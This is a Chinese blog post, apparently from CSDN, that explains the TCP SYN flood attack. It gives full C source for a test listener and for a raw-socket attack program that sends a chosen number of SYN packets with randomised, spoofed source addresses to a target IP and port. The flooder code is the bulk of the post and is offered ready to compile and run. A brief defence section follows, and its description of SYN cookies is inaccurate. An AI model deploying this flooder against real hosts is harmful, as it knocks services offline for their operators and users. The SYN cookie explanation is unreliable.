syn攻击

1、syn攻击原理

在TCP连接的三次握手中第二次握手时,服务器端发送SYN+ACK报文之后,若在规定的超时间之内未收到客户端响应的ACK报文,则服务器端启用重传机制,向客户端重传SYN+ACK报文,直到收到客户端的响应报文或达到服务器端设置的重传次数为止。syn攻击就是利用这种机制,恶意攻击者向被攻击的服务器端在短时间内发送大量仅含有SYN标志的TCP半连接请求报文。一方面,大量的请求报文会使服务器端半连接队列迅速溢出,无法响应或延迟响应正常合法的连接请求,并耗费大量系统资源(如带宽、CPU 及主存储器等);另一方面,因发送的数据包仅含有SYN标记,服务器端永远收不到客户端的响应报文,这将导致服务器端将不断重传SYN+ACK 报文,将耗费大量系统资源及占用大量的网络带宽。

2、syn攻击实现

服务端监听代码:

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>                         
#include <unistd.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>      
              
int main(int argc, char *argv[])  
{  
    unsigned short nPort   = 12345;
	int 		   nSockfd = -1;
    int 		   nRet    = 0;
	
	do
	{
		nSockfd = socket(AF_INET, SOCK_STREAM, 0);     
		if(nSockfd < 0)  
		{  
			perror("socket");  
			break;  
		}  
      
		struct sockaddr_in my_addr;  
		bzero(&my_addr, sizeof(my_addr));          
		my_addr.sin_family = AF_INET;  
		my_addr.sin_port   = htons(nPort);  
		my_addr.sin_addr.s_addr = htonl(INADDR_ANY);  

		nRet = bind(nSockfd, (struct sockaddr*)&my_addr, sizeof(my_addr));  
		if( nRet != 0)  
		{  
			perror("bind");        
			break;  
		}  

		nRet = listen(nSockfd, 5);
		if(nRet != 0)  
		{  
			perror("listen");  
			break;  
		}     

		printf("start accept on nPort[%d]...\n",nPort);  
      
		while(1)  
		{     
			struct sockaddr_in client_addr;          
			char   szClientIp[INET_ADDRSTRLEN] = {0};
			socklen_t cliaddr_len = sizeof(client_addr);      

			int connfd;  
			connfd = accept(nSockfd, (struct sockaddr*)&client_addr, &cliaddr_len);         
			if(connfd < 0)  
			{  
				perror("accept");
				continue;  
			}  

			inet_ntop(AF_INET, &client_addr.sin_addr, szClientIp, INET_ADDRSTRLEN);  
			
			printf("client ip=%s,port=%d\n", szClientIp,ntohs(client_addr.sin_port));  

			char recv_buf[512] = {0};  
			while( recv(connfd, recv_buf, sizeof(recv_buf), 0) > 0 )  
			{  
				printf("recv data:%s\n",recv_buf);  
				break;  
			}  

			close(connfd);  
		}  
	}while(0);
	
	if(-1 != nSockfd)
	{
    	close(nSockfd);
		nSockfd = -1;
	}
	
    return 0;  
}  

客户端攻击代码

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
#include<errno.h> 
#include <netinet/ip.h>
#include <netinet/tcp.h>

unsigned short checksum(unsigned short* data,unsigned short nLength)
{
	int nLeft 				= nLength;
	int nSum				= 0;
	unsigned short* w		= data;
	unsigned short nValue	= 0;
	unsigned char  answer   = 0;
	
	while(nLeft > 1)
	{
		nSum  += *w++;
		nLeft -= 2;
	} 
	if(nLeft == 1)
	{
		answer = *(unsigned char*)w;
		nSum  += answer;
	}
	nSum = (nSum>>16) + (nSum & 0xffff);
	nSum += (nSum>>16);
	nValue = ~nSum;
	
	return (nValue);
}

void send_synflood(int nSockfd,struct sockaddr_in* addr,int nNum)
{
	unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)] = {0};
    struct ip     *ip  = NULL;
    struct tcphdr *tcp = NULL;
	int  i        = 0;
	int  nRet     = 0;
	char szClientIp[INET_ADDRSTRLEN] = {0};
    int  len = sizeof(buffer);

    memset( buffer, 0x0, sizeof(buffer));
    ip = (struct ip *)buffer;
    tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
       
    tcp->dest = addr->sin_port;
    tcp->seq = (int)random(); 
    tcp->ack_seq = 0;
    tcp->doff = 5;
    tcp->syn = 1;
    
    ip->ip_v = IPVERSION;
    ip->ip_hl = sizeof(struct ip)>>2; 
    ip->ip_tos = 0;
    ip->ip_len = htons(len);
    ip->ip_id = (unsigned short)random();
    ip->ip_off = 0; 
    ip->ip_p = IPPROTO_TCP;
    ip->ip_dst = addr->sin_addr;

    while(++i <= nNum)
    {
        ip->ip_ttl = 0;
        ip->ip_sum = htons(sizeof(struct tcphdr));
        ip->ip_src.s_addr = random();
        
        tcp->check = 0;
		tcp->source = htons((unsigned short)random());
        tcp->check = checksum((u_int16_t *)buffer + 4, sizeof(buffer) - 8);
        ip->ip_ttl = MAXTTL;
        nRet = sendto(nSockfd, buffer, len, 0, (struct sockaddr *)(addr), sizeof(struct sockaddr_in));
		if(nRet != len)
		{
			printf("sendto[%s]:[%d] error[%d]",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port),errno);
		}
		else
		{
			memset(szClientIp,0,sizeof(szClientIp));
			inet_ntop(AF_INET, &(addr->sin_addr),szClientIp, INET_ADDRSTRLEN); 
			printf("sendto[%s]:[%d] successful.\n",szClientIp,ntohs(addr->sin_port));
		}
    }
}
int main(int argc,char *argv[])
{
	int    nOn  			= 1;
	int    nSockfd 			= -1;
	struct sockaddr_in addr = {0};
	char   szClientIp[INET_ADDRSTRLEN] = {0};
	
	do
	{
		if(argc != 4)
		{
			printf("argc error.\n");
			break;
		}
		bzero(&addr,sizeof(addr));
		addr.sin_family=AF_INET;
		addr.sin_port=htons(atoi(argv[2]));
		inet_pton(AF_INET, argv[1], &addr.sin_addr);
		
		nSockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
		if(nSockfd<0)
		{
			printf("socket error %d.\n",errno);
			break;
		}

		setuid(getpid());
		setsockopt(nSockfd,IPPROTO_IP,IP_HDRINCL,&nOn,sizeof(nOn));
		
		send_synflood(nSockfd,&addr,atoi(argv[3]));
	}while(0);
	
	if(-1 != nSockfd)
	{
		close(nSockfd);
		nSockfd = -1;
	}
	return 0;
}

攻击之后,服务端的网络链接出现了多个syn_recv状态的链接,如下图:


抓包截图如下:


在查看服务器TCP连接中,可以通过下面这个命令来统计当前连接数:


3、sys攻击防御

(1)缩短SYN Timeout时间

由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,如果我们将服务器半连接数降低到合理的一个值,就可以成倍地降低服务器的负荷。半连接数的计算公式如下:SYN半连接数 = SYN攻击的频度 × SYN Timeout 由于SYN攻击的频度这个量并非我们能够控制的,所以我们可以通过减小SYN Timeout来降低半连接数。当SYN Timeout时间被减短,系统的SYN-ACK重试次数将大大减少,系统也会自动对缓冲区中的报文进行延时,避免对TCP/IP堆栈造成过大的冲击,力图将攻击危害减到最低。但是,我们还需要注意不要将SYN Timeout的值设置得过低,因为会影响到客户端正常访问,同时这种方法也只能降低syn攻击的影响,如果攻击者持续不断的发送syn,那么即使缩短syn timeout时间,服务器仍然会疲于接收syn攻击而没法正常提供服务。

(2)设置SYN Cookie 

给每一个请求分配一个cookie,如果短时间内连续收到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址发来的包一概丢弃,但是这依赖对方使用固定真是的IP地址,如果对方更改源地址则此方法没有效果。


其实对于syn flood攻击目前尚没有很好的检测和防御的方法,只能使用上诉方法或者防火墙设置降低其影响。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值